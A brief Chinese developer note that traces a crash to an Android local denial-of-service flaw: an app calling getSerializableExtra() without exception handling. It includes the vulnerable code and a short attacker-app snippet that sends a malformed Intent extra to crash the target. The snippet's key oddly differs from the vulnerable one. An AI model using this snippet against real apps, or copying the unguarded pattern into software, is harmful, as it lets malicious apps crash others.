crash收集平台中,爆出一个crash:
java.lang.RuntimeException: Parcelable encounteredClassNotFoundException reading a Serializable object (name = Custom)。
大量搜索后,发现造成原因如下:
针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。
漏洞应用代码片段:
Intent i = getIntent();
if(i.getAction().equals("serializable_action")){
i.getSerializableExtra("serializable_key"); //未做异常判断
}
攻击应用代码片段:
Intent i = new Intent();
i.setAction("serializable_action");
i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");
i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据
startActivity(i);
比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。
文章原文:
http://bbs.pediy.com/showthread.php?p=1344035